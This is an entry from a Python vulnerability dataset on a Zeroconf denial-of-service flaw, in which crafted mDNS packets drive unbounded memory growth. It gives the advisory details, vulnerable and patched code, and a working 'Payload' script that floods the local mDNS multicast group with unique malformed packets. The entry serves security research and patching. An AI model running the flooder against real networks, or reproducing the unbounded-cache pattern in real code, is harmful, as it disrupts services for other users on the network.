VAITP Dataset

← Back to the dataset

CVE-2026-47183

Zeroconf allows local DoS via memory growth from crafted mDNS packets.

  • CVSS 6.5
  • CWE-400
  • Resource Management
  • Remote

Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.6, DNSIncoming._log_exception_debug and the four QuietLogger exception-dedup methods stored an unbounded _seen_logs dictionary keyed by attacker-influenced IncomingDecodeError messages, retaining sys.exc_info() tracebacks whose frame locals kept raw packet self.data buffers and allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to drive memory growth until mDNS-dependent features degrade or the process is OOM-killed. This issue is fixed in version 0.149.6.

CVSS base score
6.5
Published
2026-07-17
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Memory Leaks
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Zeroconf
Fixed by upgrading
Yes

Solution

Upgrade Zeroconf to version 0.149.6 or later.

Vulnerable code sample

import sys
import time
from types import TracebackType
from typing import Any, Dict, Optional, Tuple

# This code represents the vulnerable components in zeroconf < 0.149.6.
# The vulnerability lies in the QuietLogger class from zeroconf/_logging.py
# and how it is used by classes like DNSIncoming from zeroconf/_protocol.py.

DEDUPLICATION_TIMEOUT_S = 300.0

class QuietLogger:
    """
    A logger that de-duplicates messages. In the vulnerable version, it stores
    tracebacks indefinitely for unique exception messages.
    """

    def __init__(self) -> None:
        self._seen_logs: Dict[str, Tuple[float, Optional[TracebackType]]] = {}

    def log_exception(self, msg: str, *args: Any, **kwargs: Any) -> None:
        """Logs an exception message if it has not been seen before."""
        now = time.monotonic()
        exc_info = sys.exc_info()
        # The check `msg not in self._seen_logs` can be bypassed by an attacker
        # who sends packets that generate unique error messages.
        if msg not in self._seen_logs or self._seen_logs[msg][0] + DEDUPLICATION_TIMEOUT_S < now:
            # VULNERABILITY: A reference to the traceback object `exc_info[2]`
            # is stored in the `_seen_logs` dictionary. The dictionary key `msg`
            # is derived from attacker-controlled packet data. This allows an
            # attacker to grow the dictionary without bounds. The traceback
            # holds references to stack frames and all their local variables,
            # including the raw packet data, causing a memory leak.
            self._seen_logs[msg] = (now, exc_info[2])
            # The real library would call an underlying logger here.
            # e.g., self._logger.exception(msg, *args, **kwargs)


# A dummy exception to represent a parsing failure.
class IncomingDecodeError(Exception):
    pass


class DNSIncoming:
    """
    A simplified representation of a class that processes incoming DNS packets.
    """

    def __init__(self, data: bytes) -> None:
        # The raw packet data from the network.
        self.data = data
        self._logger = QuietLogger()

    def _parse(self) -> None:
        """
        Simulates the parsing of a packet which can fail.
        """
        try:
            # In a real scenario, parsing logic would go here.
            # An attacker sends a crafted packet that is guaranteed to fail parsing
            # in a way that includes part of the packet data in the error message.
            if self.data.startswith(b'invalid_packet'):
                raise IncomingDecodeError(f"Packet decoding failed for: {self.data!r}")
        except IncomingDecodeError:
            # The exception is caught and logged using the vulnerable method.
            # The error message from `sys.exc_info()[1]` is unique per packet,
            # and the traceback holds a reference to `self.data`.
            self._logger.log_exception(str(sys.exc_info()[1]))

Patched code sample

import collections
from logging import getLogger
from typing import Any

_MAX_SEEN_LOGS = 128


class QuietLogger:
    """A logger that won't repeat the same message."""

    def __init__(self, name: str) -> None:
        """Create a new quiet logger."""
        self._log = getLogger(name)
        # Using an OrderedDict as an LRU cache to avoid unbounded memory growth
        self._seen_logs: "collections.OrderedDict[str, bool]" = collections.OrderedDict()

    def _log_exception(self, level: int, msg: str, *args: Any, **kwargs: Any) -> None:
        """Log an exception."""
        # exc_info is a tuple of (type, value, traceback)
        # The value is the exception object, which is what we want to key on
        # to avoid storing the traceback in the key.
        exc_info = kwargs.get("exc_info")
        exc = exc_info[1] if exc_info and isinstance(exc_info, tuple) else exc_info
        key = f'{level}-{msg % args}-{exc}'
        if key not in self._seen_logs:
            if len(self._seen_logs) >= _MAX_SEEN_LOGS:
                self._seen_logs.popitem(last=False)
            self._seen_logs[key] = True
            self._log.log(level, msg, *args, **kwargs)

    def exception(self, msg: str, *args: Any, **kwargs: Any) -> None:
        """Logs a message with level ERROR on this logger, with exception info."""
        kwargs['exc_info'] = True
        self._log_exception(40, msg, *args, **kwargs)

Payload

import socket
import time
import struct

# Target for mDNS (link-local multicast)
MDNS_ADDR = '224.0.0.251'
MDNS_PORT = 5353
PACKET_SIZE = 1024  # Larger packets will consume memory faster

# Set up the UDP socket
# AF_INET for IPv4, SOCK_DGRAM for UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Set the Time-To-Live (TTL) for multicast packets to 1
# This ensures the packet only travels on the local network segment
ttl = struct.pack('b', 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl)

print(f"Sending malformed mDNS packets to {MDNS_ADDR}:{MDNS_PORT}...")
print("Press Ctrl+C to stop.")

try:
    i = 0
    while True:
        # Construct a unique, malformed payload for each iteration.
        # The uniqueness ensures a new entry in the target's _seen_logs dict.
        # The payload's content influences the IncomingDecodeError message.
        # We embed a counter to guarantee uniqueness.
        unique_prefix = str(i).encode().zfill(16)
        filler = b'\xde\xad\xbe\xef' * ((PACKET_SIZE - len(unique_prefix)) // 4)
        payload = unique_prefix + filler

        # Send the malicious packet to the mDNS multicast group
        sock.sendto(payload, (MDNS_ADDR, MDNS_PORT))

        if i % 100 == 0:
            print(f"Sent {i} packets...", end='\r')

        i += 1
        # A small delay to avoid overwhelming the network or local CPU
        time.sleep(0.005)

except KeyboardInterrupt:
    print(f"\nStopped. Sent a total of {i} packets.")
finally:
    sock.close()

Cite this entry

@misc{vaitp:cve202647183,
  title        = {{Zeroconf allows local DoS via memory growth from crafted mDNS packets.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47183},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47183/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::